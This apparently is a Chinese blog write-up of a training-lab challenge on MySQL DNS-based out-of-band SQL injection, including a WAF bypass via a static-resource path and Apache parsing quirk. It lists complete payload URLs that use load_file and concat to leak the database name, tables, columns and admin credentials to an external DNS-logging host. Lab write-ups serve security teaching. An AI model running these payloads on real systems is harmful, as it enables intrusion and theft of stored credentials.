封神台靶场-MySQL之DNS注入

DNS注入原理

通过子查询,将内容拼接到域名内,让load_file()去访问拼接好的域名、读取远程共享文件,访问的时候对方服务器将会做出记录,然后我们查看记录日志

靶场实战

image

我们注意到这里需要一个id传参,我们就给id传参1

然后通过and 1=1&and 1=2 判断注入是否存在
但是当我们测试 and 1=1的时候WAF出来了

image

然后我们这里就要利用静态资源访问法以及Apache的解析漏洞来绕过这个WAF达成注入

测试注入存在

http://p9kj8014.ia.aqlab.cn/index3.php/1.txt?id=1 and 1=1 #页面正常
http://p9kj8014.ia.aqlab.cn/index3.php/1.txt?id=1 and 1=2 #页面正常

我们发现我们进行and 1=1和and 1=2测试时页面没有变化,那么这里很可能有盲注,于是我们进行盲注测试

http://p9kj8014.ia.aqlab.cn/index3.php/1.txt?id=1 and if(length(database())=7,sleep(5),1)

我们发现页面延迟了5s,证明这里注入存在

接下来我们要采用一种全新的方式-DNS注入,将盲注变为好注的注入

查询数据库名

http://p9kj8014.ia.aqlab.cn/index3.php/1.txt?id=1 and select load_file(concat('//',(select database()),'.mkiugg.ceye.io/abc'))

得出数据库名为:mangzhu

查询当前库下表名

http://p9kj8014.ia.aqlab.cn/index3.php/1.txt?id=1 and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.mkiugg.ceye.io/abc')))

查询出第一个表名admin

又由提示知道flag就在这个表下面,我们就不查询别的表名了

image

然后我们继续查询当前表名下字段名:

http://p9kj8014.ia.aqlab.cn/index3.php/1.txt?id=1 and (select load_file(concat('//',(select column_name from information_schema.columns where table_name='admin' limit 0,1),'.mkiugg.ceye.io/abc')))

不断修改limit后数字得出admin表字段名有:
id,username,password

查询数据

http://p9kj8014.ia.aqlab.cn/index3.php/1.txt?id=1 and (select load_file(concat('//',(select username from admin limit 0,1),'.mkiugg.ceye.io/abc')))

得出username为flag对应的password字段为:
1flag1good1

验证后该flag正确!

posted @ 2021-09-05 16:36  hacker-裁决者  阅读(176)  评论(0编辑  收藏  举报